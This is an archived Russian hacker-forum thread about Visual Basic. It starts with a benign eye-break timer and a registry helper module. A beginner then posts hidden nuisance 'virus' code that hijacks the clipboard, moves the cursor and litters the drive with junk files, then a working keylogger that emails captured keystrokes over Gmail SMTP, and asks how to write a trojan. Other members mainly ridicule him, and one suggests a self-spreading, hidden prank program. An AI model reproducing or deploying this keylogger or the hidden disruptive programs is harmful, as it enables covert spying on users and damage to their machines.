Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

RE: Программирование на VB

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [Компилируемые языки] >> RE: Программирование на VB

Имя

Сообщение

<< Старые топики Новые топики >>

RE: Программирование на VB - 2009-08-20 20:48:08.433333

eLECTRON1.96

Сообщений: 17
Оценки: 0
Присоединился: 2009-08-08 15:47:13.386666

пока что "моя новая программа" отменяется
но вместо этого дам код другой новой проги - "Береги глаза" (на vb 2008)
РЕЦЕПТ
Нужны 2 таймера , 2 лейбла , 1 текстбокс и 1 баттн
кроме таго поставьим Максимайзбаттн = фалшь ( ну фалс )

Public Class Form1
     Public WithEvents TrayIcon As NotifyIcon
     Dim shown As Boolean
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
         Timer2.Interval = "500"
         Timer2.Enabled = True
         Timer1.Enabled = False
     End Sub
 
     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
         Beep()
         If Timer2.Interval = "200" Then
             Timer2.Stop()
             MsgBox("Пойди успакой глаза", MsgBoxStyle.Critical, "Начайника ...")
             Button1.Text = "Давай"
             Label2.Text = "Жду"
         End If
         Timer2.Interval = Timer2.Interval - 5
     End Sub
   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
         Me.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
         TrayIcon = New NotifyIcon
         shown = True
         With TrayIcon
             .Visible = False
             .Icon = Me.Icon
             .Text = "Я работаю..."
             .ContextMenuStrip = Me.ContextMenuStrip
         End With
     End Sub
     Private Sub Form1_SizeChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.SizeChanged
         If Shown And Me.WindowState = FormWindowState.Minimized Then
             Shown = False
             Me.ShowInTaskbar = False
             TrayIcon.Visible = True
         End If
     End Sub
 
     Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrayIcon.Click
         TrayIcon.Visible = False
         Me.ShowInTaskbar = True
         Me.TopLevel = True
     End Sub
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
         If Timer1.Enabled = True Then
             Timer1.Enabled = False
             Timer2.Enabled = False
             Button1.Text = "Давай"
             Label2.Text = "Жду"
         Else
             Timer1.Interval = Val(TextBox1.Text) * 60 * 1000
             Timer1.Enabled = True
             Label2.Text = "Работаю"
             Button1.Text = "Стоп"
         End If
     End Sub
 
     Private Sub TextBox1_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox1.KeyPress
         If Asc(e.KeyChar) &lt;&gt; 13 AndAlso Asc(e.KeyChar) &lt;&gt; 8 _
         AndAlso Not IsNumeric(e.KeyChar) Then
             MsgBox("Только цифры", MsgBoxStyle.Information, "Замечание")
             e.Handled = True
         End If
     End Sub
 End Class

Товарищи хакеры
берегите глаза ;) , чтобы не стат таким 8| (стиль ботаник)
или вабще таким 8D (слепой) , иногда занемайтесь спортом

Post #: 41

RE: Программирование на VB - 2009-08-22 14:21:33.846666

eLECTRON1.96

Сообщений: 17
Оценки: 0
Присоединился: 2009-08-08 15:47:13.386666

Я тут исправил кое что
вот исправленная часть кода


  Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrayIcon.Click
         TrayIcon.Visible = False
         Me.ShowInTaskbar = True
         Me.TopLevel = True
         Me.Show()
         Me.WindowState = FormWindowState.Normal
         shown = True
     End Sub

Post #: 42

RE: Программирование на VB - 2009-08-29 01:02:16.186666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

У меня вопрос
я хочу написать что то вроде SecyurtyTool на vb 6.0
модуль reg-a

Option Explicit
 
 Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hkey&, ByVal lpSubKey$, ByVal dwReserved&, ByVal samDesired As Long, phkResult As Long) As Long
 Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hkey As Long, ByVal lpValueName As String, lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
 Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
 Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
 Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
 Private Declare Function RegCloseKey& Lib "advapi32" (ByVal hkey&)
 
 Private Declare Function RegQueryInfoKey Lib "advapi32.dll" Alias "RegQueryInfoKeyA" (ByVal hkey&, ByVal lpClass$, lpcbClass&, ByVal lpReserved&, lpcSubKeys&, lpcbMaxSubKeyLen&, lpcbMaxClassLen&, lpcValues&, lpcbMaxValueNameLen&, lpcbMaxValueLen&, lpcbSecurityDescriptor&, lpftLastWriteTime As Any) As Long
 Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hkey&, ByVal dwIndex&, ByVal lpValueName$, lpcbValueName&, ByVal lpReserved&, lpType&, lpData As Any, lpcbData As Long) As Long
 Private Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" (ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, ByVal cbName As Long) As Long
 Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hkey&, ByVal lpSubKey As String) As Long
 Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hkey&, ByVal lpValueName$) As Long
 
 Public Const HKEY_CLASSES_ROOT = &H80000000
 Public Const HKEY_CURRENT_USER = &H80000001
 Public Const HKEY_LOCAL_MACHINE = &H80000002
 Public Const HKEY_USERS = &H80000003
 
 Private Const KEY_QUERY_VALUE = &H1
 Private Const KEY_SET_VALUE = &H2
 Private Const KEY_CREATE_SUB_KEY = &H4
 Private Const KEY_ENUMERATE_SUB_KEYS = &H8
 Private Const KEY_NOTIFY = &H10
 Private Const KEY_CREATE_LINK = &H20
 Private Const STANDARD_RIGHTS_ALL = &H1F0000
 Private Const SYNCHRONIZE = &H100000
 
 Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or _
         KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY _
         Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or _
         KEY_CREATE_LINK) And (Not SYNCHRONIZE))
 
 Private Const REG_SZ = 1, REG_DWORD = 4, REG_EXPAND_SZ = 2, REG_BINARY = 3, REG_MULTI_SZ = 7
 
 Public lCount As Long, aKeyArr() As String, bDimn As Boolean, aBase() As String
 Private lmCount, rtn As Long
 
 Private Const ERROR_SUCCESS As Long = 0
 
 Function SaveString(hkey As Long, strpath As String, strValue As String, strData As String)
 RegCreateKey hkey, strpath, rtn
 RegSetValueEx rtn, strValue, 0, REG_SZ, ByVal strData, Len(strData)
 RegCloseKey rtn
 End Function
 
 Function GetString(hkey As Long, strpath As String, strValue As String) As String
  Dim strData As String
  Dim lngData As Long, i As Long
   rtn = RegOpenKeyEx(hkey, strpath, 0, KEY_ALL_ACCESS, hkey)
    strData = Space(255)
    lngData = Len(strData)
   rtn = RegQueryValueEx(hkey, strValue, ByVal 0, REG_SZ, ByVal strData, lngData)
   rtn = RegCloseKey(hkey)
    strData = Trim(strData)
  GetString = Left(strData, lngData - 1)
 End Function
 
 
 Function SaveDword(hkey As Long, strpath As String, strValue As String, strData As Long)
 RegCreateKey hkey, strpath, rtn
 RegSetValueEx rtn, strValue, 0, REG_DWORD, strData, 4
 RegCloseKey rtn
 End Function
 
 Function GetDword(hkey As Long, strpath As String, strValue As String) As Long
  Dim strData As Long
   rtn = RegOpenKeyEx(hkey, strpath, 0, KEY_ALL_ACCESS, hkey)
   rtn = RegQueryValueEx(hkey, strValue, ByVal 0, REG_DWORD, strData, 4)
   RegCloseKey hkey
 GetDword = strData
 End Function
 
 Function SaveBinary(hkey As Long, strpath As String, strValue As String, btArray() As Byte)
  Dim strData As String, i As Long
     For i = 0 To UBound(btArray())
         strData = strData + Chr(btArray(i))
     Next
  RegCreateKey hkey, strpath, rtn
  RegSetValueEx rtn, strValue, 0, REG_BINARY, ByVal strData, Len(strData)
  RegCloseKey rtn
 End Function
 
 Function GetBinary(hkey As Long, strpath As String, strValue As String) As Variant
  Dim btArray() As Byte
  Dim strData As String
  Dim lngData As Long, i As Long
    rtn = RegOpenKeyEx(hkey, strpath, 0, KEY_ALL_ACCESS, hkey)
     strData = Space(255)
     lngData = Len(strData)
    rtn = RegQueryValueEx(hkey, strValue, ByVal 0, REG_BINARY, ByVal strData, lngData)
       If lngData &gt; 1 Then
         strData = Left(strData, lngData)
       End If
             
         Erase btArray()
          For i = 0 To Len(strData) - 1
             ReDim Preserve btArray(i)
             btArray(i) = Asc(Mid(strData, i + 1, 1))
          Next
         GetBinary = btArray()
     rtn = RegCloseKey(hkey)
 End Function
 
 Function SaveExpandString(hkey As Long, strpath As String, strValue As String, strData As String)
 RegCreateKey hkey, strpath, rtn
 RegSetValueEx rtn, strValue, 0, REG_EXPAND_SZ, ByVal strData, Len(strData)
 RegCloseKey rtn
 End Function
 
 Function GetExpandString(hkey As Long, strpath As String, strValue As String) As String
  Dim strData As String
  Dim lngData As Long, i As Long
    rtn = RegOpenKeyEx(hkey, strpath, 0, KEY_ALL_ACCESS, hkey)
      strData = Space(255)
      lngData = Len(strData)
    rtn = RegQueryValueEx(hkey, strValue, ByVal 0, REG_EXPAND_SZ, ByVal strData, lngData)
    rtn = RegCloseKey(hkey)
       strData = Trim(strData)
  GetExpandString = Left(strData, lngData - 1)
 End Function
 
 
 Function SaveMultiString(hkey As Long, strpath As String, strValue As String, strData() As String)
 Dim lngData As String
  lngData = Join(strData(), Chr(0)) + Chr(0) + Chr(0)
 RegCreateKey hkey, strpath, rtn
 RegSetValueEx rtn, strValue, 0, REG_MULTI_SZ, ByVal lngData, Len(lngData)
 RegCloseKey rtn
 End Function
 
 Function GetMultiString(hkey As Long, strpath As String, strValue As String) As Variant
  Dim strData As String
  Dim strRetArray() As String
  Dim lngData As Long
    rtn = RegOpenKeyEx(hkey, strpath, 0, KEY_ALL_ACCESS, hkey)
      strData = Space(255)
      lngData = Len(strData)
    rtn = RegQueryValueEx(hkey, strValue, ByVal 0, REG_MULTI_SZ, ByVal strData, lngData)
      strData = Left(strData, lngData - 2)
      strRetArray() = Split(strData, Chr(0))
       GetMultiString = strRetArray()
    rtn = RegCloseKey(hkey)
 End Function
 
 
 'GET VALUES
 Function GetRegKeyValues(hkey As String, strSubKey As String, Lst1 As Object, Lst2 As Object, Lst3 As Object)
 Dim lngNumValues As Long, strValues As String, strValues1 As String, _
 lngMaxValSize  As Long, lngValRetBytes As Long, lngMaxSettingSize As Long, _
 lngSetRetBytes As Long, lngSetting As Long, lngType As Long, _
 hChildKey As Long, i As Integer
 rtn = RegOpenKeyEx(hkey, strSubKey, 0, KEY_ALL_ACCESS, hChildKey)
 rtn = QueryRegInfoKey(hChildKey, , , lngNumValues, lngMaxValSize, lngMaxSettingSize)
 lngNumValues = lngNumValues - 1
  For i = 0 To lngNumValues
   strValues1 = Space(lngMaxValSize)
   lngValRetBytes = lngMaxValSize
   strValues = Space(lngMaxSettingSize)
   lngSetRetBytes = lngMaxSettingSize
   RegEnumValue hChildKey, i, strValues1, lngValRetBytes, 0, lngType, ByVal strValues, lngSetRetBytes
     If lngType = REG_SZ Then
       Lst1.AddItem Left(strValues1, lngValRetBytes)
       Lst2.AddItem "REG_SZ"
     ElseIf lngType = REG_DWORD Then
       Lst1.AddItem RTrim(Left(strValues1, lngValRetBytes))
       Lst2.AddItem "REG_DWORD"
     ElseIf lngType = REG_BINARY Then
       Lst1.AddItem Left(strValues1, lngValRetBytes)
       Lst2.AddItem "REG_BINARY"
     ElseIf lngType = REG_EXPAND_SZ Then
       Lst1.AddItem Left(strValues1, lngValRetBytes)
       Lst2.AddItem "REG_EXPAND_SZ"
     ElseIf lngType = REG_MULTI_SZ Then
       Lst1.AddItem Left(strValues1, lngValRetBytes)
       Lst2.AddItem "REG_MULTI_SZ"
     End If
   Next i
 RegCloseKey hChildKey
 End Function
 
 
 'DELETE VALUES
 Function DelValue(hkey As Long, strpath As String, strValue As String)
 RegCreateKey hkey, strpath, rtn
 RegDeleteValue rtn, strValue
 RegCloseKey rtn
 End Function
 
 
 'KEYS
 Function CrtKey(hkey As Long, strpath As String)
 RegCreateKey hkey, strpath, rtn
 RegCloseKey rtn
 End Function
 
 Function DelKey(hkey As Long, strpath As String)
 RegOpenKeyEx hkey, strpath, 0, KEY_ALL_ACCESS, rtn
 RegDeleteKey rtn, ""
 RegCloseKey rtn
 End Function
 
 Function GetAllKeys(ByVal lKey As Long, ByVal sKey As String)
 Dim cSubKey As Collection, lKeyNum As Long, sKeyName As String, hkey As Long, sVal As String
 Dim l As Long
 Const BF_SZ As Long = 256
 Const NK_BF As Long = 1024
 
  Set cSubKey = New Collection
     If Not bDimn Then
             ReDim aKeyArr(0 To 1023)
             lCount = 0
             lmCount = 0
         bDimn = True
     End If
 
   RegOpenKeyEx lKey, sKey, 0&, KEY_ALL_ACCESS, hkey
     lKeyNum = 0
     Do
         sKeyName = Space$(BF_SZ)
         If RegEnumKey(hkey, lKeyNum, sKeyName, BF_SZ) &lt;&gt; ERROR_SUCCESS Then Exit Do
         lKeyNum = lKeyNum + 1
         sKeyName = Left$(sKeyName, InStr(sKeyName, vbNullChar) - 1)
         cSubKey.Add sKeyName
         DoEvents
     Loop
   RegCloseKey hkey
 
     For lKeyNum = 1 To cSubKey.Count
             If lCount &gt; UBound(aKeyArr()) Then
                 ReDim Preserve aKeyArr(0 To UBound(aKeyArr()) + NK_BF)
             End If
 
         If Not LenB(sKey) = 0 Then
             sVal = sKey & Chr(92) & cSubKey(lKeyNum)
         Else
             sVal = cSubKey(lKeyNum)
         End If
             aKeyArr(lCount) = sVal
             lCount = lCount + 1
             lmCount = lmCount + 1
         GetAllKeys lKey, sVal
         DoEvents
     Next lKeyNum
     
    ReDim Preserve aKeyArr(0 To lmCount)
 End Function
 
 Function DelAllKeys(hkey As Long, strpath As String)
 Dim i As Integer, strLen As Long
 GetAllKeys hkey, strpath
 Call BubbleSort(aKeyArr())
 For i = 1 To UBound(aKeyArr())
 DelKey hkey, aKeyArr(i)
 Next
 DelKey hkey, aKeyArr(0) 'Ïåðâûé ýëåìåíò óäàëÿþ ïîñëåäíèì!
 End Function
 
 Function BubbleSort(pstrArray() As String) 'ìåòîä ïóçûðüêà
 Dim i As Long, fSwitched As Boolean, strTemp As String
 Do
  fSwitched = False
 For i = 1 To UBound(pstrArray) - 1
  If Len(pstrArray(i)) &lt; Len(pstrArray(i + 1)) Then
   fSwitched = True
   strTemp = pstrArray(i)
   pstrArray(i) = pstrArray(i + 1)
   pstrArray(i + 1) = strTemp
  End If
 Next
 Loop While fSwitched
 End Function
 
 Function QueryRegInfoKey(hkey&, Optional lngSubKeys&, Optional lngMaxKeyLen&, Optional lngValues&, Optional lngMaxValNameLen&, Optional lngMaxValLen&)
 QueryRegInfoKey = RegQueryInfoKey(hkey, vbNullString, ByVal 0&, 0&, lngSubKeys, lngMaxKeyLen, ByVal 0&, lngValues, lngMaxValNameLen, lngMaxValLen, ByVal 0&, ByVal 0&)
 lngMaxKeyLen = lngMaxKeyLen + 1
 lngMaxValNameLen = lngMaxValNameLen + 1
 lngMaxValLen = lngMaxValLen + 1
 End Function

я буду использовать все функцыы попозже
а вот формкод

Dim disabletaskmgr As String
 Private Sub Form_Load()
 GetDword HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr", disabletaskmgr
 Text1.Text = disabletaskmgr
 End Sub

что то не получается
помогите плиз

Post #: 43

RE: Программирование на VB - 2009-08-29 13:37:16.343333

rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25

quote:

ORIGINAL: hrantabe
что то не получается

Это загадка для форумчан? Мол угадайте, что же у меня не получилось?

Post #: 44

RE: Программирование на VB - 2009-08-29 15:24:56.546666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Та ошибка была идиотская

Private Sub Form_Load()
 GetDword HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "disabletaskmgr"
 Text1.Text = CStr(GetDword)
 End Sub

вот исправил
но тоже не выходит
я хочу чтобы Dword Value отоброзилось на тексте

Post #: 45

RE: Программирование на VB - 2009-08-29 16:23:04.480000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

исправил все
вот

Private Sub Command1_Click()
 If Command1.Caption = "disable" Then
 SaveDword HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "disabletaskmgr", 1
 Command1.Caption = "enable"
 Label1.Caption = "disabled"
 Else
 SaveDword HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "disabletaskmgr", 0
 Command1.Caption = "disable"
 Label1.Caption = "enabled"
 End If
 End Sub
 
 Private Sub Form_Load()
 If GetDword(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "disabletaskmgr") = 0 Then
 Command1.Caption = "disable"
 Label1.Caption = "enabled"
 Else
 Command1.Caption = "enable"
 Label1.Caption = "disabled"
 End If
 End Sub

нелезя ли код по менше ?

Post #: 46

RE: Программирование на VB - 2009-08-30 23:17:38.650000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Теперь буду использовать vb 6.0 пока .net не появится на всех компах
у меня вопрос
как отправить емаил с помощю Winsock компонента ???
что делаю не получается , помогите пожалуста !!!

Post #: 47

RE: Программирование на VB - 2009-09-04 17:26:52.970000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Нехотите говорить ???

Показываю Урок ( для тех кто незнает ) как написать вирус котрый будет всавлять ваш текст во время Paste ( Ctrl + V ) .


 Private Sub Form_Load()
 App.TaskVisible = False
 Me.Hide
 Form1.Visible = False
 Me.Visible = False
 End Sub
 
 Private Sub Timer1_Timer()
 Clipboard.Clear
 Clipboard.SetText "Hrant-i Virus - Ha Ha Ha !!!!!!", 1
 End Sub

Post #: 48

RE: Программирование на VB - 2009-09-04 17:29:53.890000

GANSGALLER

Сообщений: 41
Оценки: 0
Присоединился: 2009-01-25 18:23:02.696666

quote:

App.TaskVisible = False
Me.Hide
Form1.Visible = False
Me.Visible = False

Такой код в теле вируса? омг, размером вирус наверно пол метра? Спасибо, поржал. Палата.

Post #: 49

RE: Программирование на VB - 2009-09-04 18:34:51.746666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Нормальный размер кода
не забудь Timer1 интервал поставить на 1

Post #: 50

RE: Программирование на VB - 2009-09-04 18:41:51.153333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Вот еще
В каждую секунду курсор мышки вставит в случайный x , y
отключай при помощи Task Manager

Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
 
 Private Sub Form_Load()
 App.TaskVisible = False
 Me.Hide
 Form1.Visible = False
 Me.Visible = False
 End Sub
 
 Private Sub Timer1_Timer()
 On Error Resume Next
 SetCursorPos Rnd * 1024, Rnd * 1024
 End Sub

Post #: 51

RE: Программирование на VB - 2009-09-04 18:48:21.310000

VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666

О.М.Г. Такие люди еще есть.
ТС - твой код НАХР никому не нужен. Такого фекаль-кода в интернете ПОЛНО.
Заведи себе блог и пости ТАМ такую хрню.

Программированию учатся пониманием основ - алгоритов и т.д., а не копированием кода из интернета.

Post #: 52

RE: Программирование на VB - 2009-09-04 19:00:10.036666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

ORIGINAL: hrantabe
Показываю Урок ( для тех кто незнает ) как написать вирус котрый будет всавлять ваш текст во время Paste ( Ctrl + V ) .

quote:

ORIGINAL: GANSGALLER
Такой код в теле вируса? омг, размером вирус наверно пол метра? Спасибо, поржал. Палата.

Так что твой пост = 0 bit

quote:

ORIGINAL: hrantabe
Программированию учатся пониманием основ - алгоритов и т.д., а не копированием кода из интернета

Я смысл понимаю !

Post #: 53

RE: Программирование на VB - 2009-09-04 19:31:02.070000

VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666

quote:

Я смысл понимаю !

Ога, видно. Иди подучи школьный курс программирования.

Post #: 54

RE: Программирование на VB - 2009-09-04 20:26:55.120000

Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333

Воистину вирусу необходима форма)) Для тех кто увлекся "хакерскими советами для начинающих", вопрос на засыпку -а что, уж не распространяются ли все эти "вирусы" таджикским методом "запусти пожалуйста" ?))

Post #: 55

RE: Программирование на VB - 2009-09-04 20:57:47.016666

VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666

quote:

ORIGINAL: Genco

Воистину вирусу необходима форма)) Для тех кто увлекся "хакерскими советами для начинающих", вопрос на засыпку -а что, уж не распространяются ли все эти "вирусы" таджикским методом "запусти пожалуйста" ?))

Ага)) "Запусти, поставь в авторан и скопируй всем своим друзьям"

Post #: 56

RE: Программирование на VB - 2009-09-05 10:27:09.220000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Я написал что то типо таго
ВНИМАНИЕ ____ ВИРУС ЗАПУСКАЙТЕ ТОЛЬКО В ЧИСТОЙ ФЛЕШКЕ

Public Function RandomString(AllString As String, Lenght As Long) As String
 On Error Resume Next
    strInputString = AllString
    intLength = Len(strInputString)
    intNameLength = Lenght 
    Randomize
    strName = ""
    For intStep = 1 To intNameLength
        intRnd = Int((intLength * Rnd) + 1)
        strName = strName & Mid(strInputString, intRnd, 1)
    Next
    RandomString = strName
 End Function
 
 Private Sub Form_Load()
 On Error Resume Next
 App.TaskVisible = False
 Me.Hide
 End Sub
 
 Private Sub Timer1_Timer()
 On Error Resume Next
 PathString = RandomString("1230epqrstuvwxyzGJAMPOS", Int(Rnd * 10) + 1)
 DriveString = Mid$(App.Path, 1, 1) + Mid$(App.Path, 2, 1) + Mid$(App.Path, 3, 1)
 MkDir DriveString & PathString
 Open DriveString & PathString & "\" & RandomString("1230epqrstuvwxyzGJAMPOS", Int(Rnd * 10) + 1) & "." & RandomString("abcdefghijklmnopqrstuvwxyz", Int(Rnd * 4) + 1) For Output As #1
 Print #1, RandomString("123457890abcdepqrstuvwxyzGJAMZNCXPOS", 10000 + Int(Rnd * 1000))
 Close #1
 End Sub

Post #: 57

RE: Программирование на VB - 2009-09-05 21:39:22.130000

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

hrantabe, что ты курил?

По существу: весь твой код на уровне школьной самодеятельности… хотя некоторые школьники гораздо лучше программируют. Ты, по сути, прочитал про несколько однотипных API вызовов (двинуть мышь, создать каталог и т.п.), но в программировании ты пока не блещешь знаниями.

P.S. ещё один "волшебник". Очень обидно, что такие вот люди медленно, но верно гниют в каком-то своём выдуманном мире, пытаясь доказать, что они тоже чего-то стоят. Ведь так обидно осознавать, что ты пока-что _никто_ (по себе помню, в школьные годы случалось). И начиналось наивное фантазёрство, что мол ты крутой программер / математик / физик / химик и т.п. Вообще подобный период должен заканчиваться уже в детском саду.

Post #: 58

RE: Программирование на VB - 2009-09-05 22:44:11.143333

VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666

quote:

что мол ты крутой программер / математик / физик / химик

Вспоминал - аж прослезился:D:D Особенно химик:)

Post #: 59

RE: Программирование на VB - 2009-09-05 23:29:24.736666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Я начинающий программист , и пока очень многого не понимаю !
Например в vb 9.0 (2008) не могу функции .net - а прикрепить к ехе
как воспользоватсья статическим линкингом ? ( гуглил )

А что вы умели делать в 16 лет ( Я не школьник , не баните ! ) ???!!!

Post #: 60

RE: Программирование на VB - 2009-09-05 23:47:08.096666

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

Имхо ты - играющийся ребёнок.

P.S. Что ты не можешь сделать с .net функциями в VB ?! Использовать? Выражай грамотно мысли - нифига не понятно, что ты пытаешься сказать.

quote:

ORIGINAL: hrantabe
Я начинающий программист , и пока очень многого не понимаю !

Тогда не захламляй форум бредом, в виде мигающих контролов и захламлением файловой системы непонятными папками. Поверь, до тебя это тысячу раз придумали и перепробовали практически все программисты. А если ты такого не видел в интернете - так это скорее всего потому, что никто, кроме тебя, это не считает интересным.

Хочешь поразвлекать народ - напиши прогу, которую не видно через диспетчер задач, которая сама распространяется (через те же флэшки) и которая хлопает CD-ROM'ом.

quote:

А что вы умели делать в 16 лет ( Я не школьник , не баните ! ) ???!!!

Я умел _ очень хорошо_ играть в q3, starcraft, worms :D, занимался спортивными танцами, работал сис-админом в компьютерном клубе, мог с закрытыми глазами разобрать и собрать системник, учился, умел программировать на паскале и си на уровне 1-2 курса универа (задачки на массивы, структуры, файловый ввод-вывод и т.п.), имел представление об архитектуре эвм (шины, регистры, кэш, порты ввода-вывода, cmos, bios, принтеры, и т.п.).

Post #: 61

RE: Программирование на VB - 2009-09-05 23:54:12.790000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

P.S. Что ты не можешь сделать с .net функциями в VB ?! Использовать? Выражай грамотно мысли - нифига не понятно, что ты пытаешься сказать.

вот


  [size=4]Imports System.Net.Mail[/size]
 Public Class Form1
     Dim result As Integer
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
         Me.Hide()
         Me.ShowInTaskbar = False
         On Error Resume Next
         Timer1.Start()
         Timer2.Start()
     End Sub
 
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
         On Error Resume Next
         For i = 1 To 255
             result = 0
             result = GetAsyncKeyState(i)
             If result = -32767 Then
                 TextBox1.Text = TextBox1.Text + Mychr(i)
             End If
         Next i
     End Sub
 
     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
         Dim mymailmessage As New MailMessage()
         Try
             mymailmessage.From = New MailAddress("hrantabe@gmail.com") 'from email adress 
             mymailmessage.To.Add("hrantabe@gmail.com") 'stacox email-@
             mymailmessage.Subject = "Your Spy"
             mymailmessage.bоdу = TextBox1.Text
             Dim SMTP As New SmtpClient("smtp.gmail.com")
             SMTP.Port = 587
             SMTP.EnableSsl = True
             SMTP.Credentials = New System.Net.NetworkCredential("mYMAIL@gmail.com", "PASSWORD") 'from email adress username and password
             SMTP.Send(mymailmessage)
             TextBox1.Text = ""
         Catch ex As Exception
         End Try
     End Sub
 End Class

Не работает на других компах .

Post #: 62

RE: Программирование на VB - 2009-09-06 00:39:30.853333

VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666

quote:

Я начинающий программист , и пока очень многого не понимаю !

Вот поэтому не пость сюда, а сначала выучи основы.

Post #: 63

RE: Программирование на VB - 2009-09-06 04:55:40.106666

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

quote:

ORIGINAL: hrantabe
…
Не работает на других компах .

Что именно не работает? Не компилируется? Не запускается .exe или что? Ещё раз - учись выражать свои мысли… Если не понимаешь, что я имею в виду, почитай вот это - http://www.rsdn.ru/Info/Howtoask.xml

Post #: 64

RE: Программирование на VB - 2009-09-06 09:41:22.036666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

(Исползую vb 9.0 ( 2008 ) team suite )
Не запускается .ехе , говорит что то типо
The application failed to initialize properly 0xc000007b
Я думаю это из за .net-а , можно ли сделать статический линкинг , Чтобы
функции Imports System.Net.Mail были в ехе-шнике .
Надеюсь нечего не пропустил .

Post #: 65

RE: Программирование на VB - 2009-09-06 15:11:22.553333

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

На целевой машине установлен .NET ? Статическая линковка тебя не спасёт. На худой конец есть утилитка depends, которая показывает все зависимости от библиотек.

А System.Net.Mail - это лишь пространство имён, а не подключение каких-то модулей.

Post #: 66

RE: Программирование на VB - 2009-09-06 18:50:22.693333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Значит я не могу написать троя на vb 2008
А можно ли на vb 6.0 с помощю Winsock компонента ??

Post #: 67

RE: Программирование на VB - 2009-09-06 22:53:52.230000

Genco

Сообщений: 1662
Оценки: 90
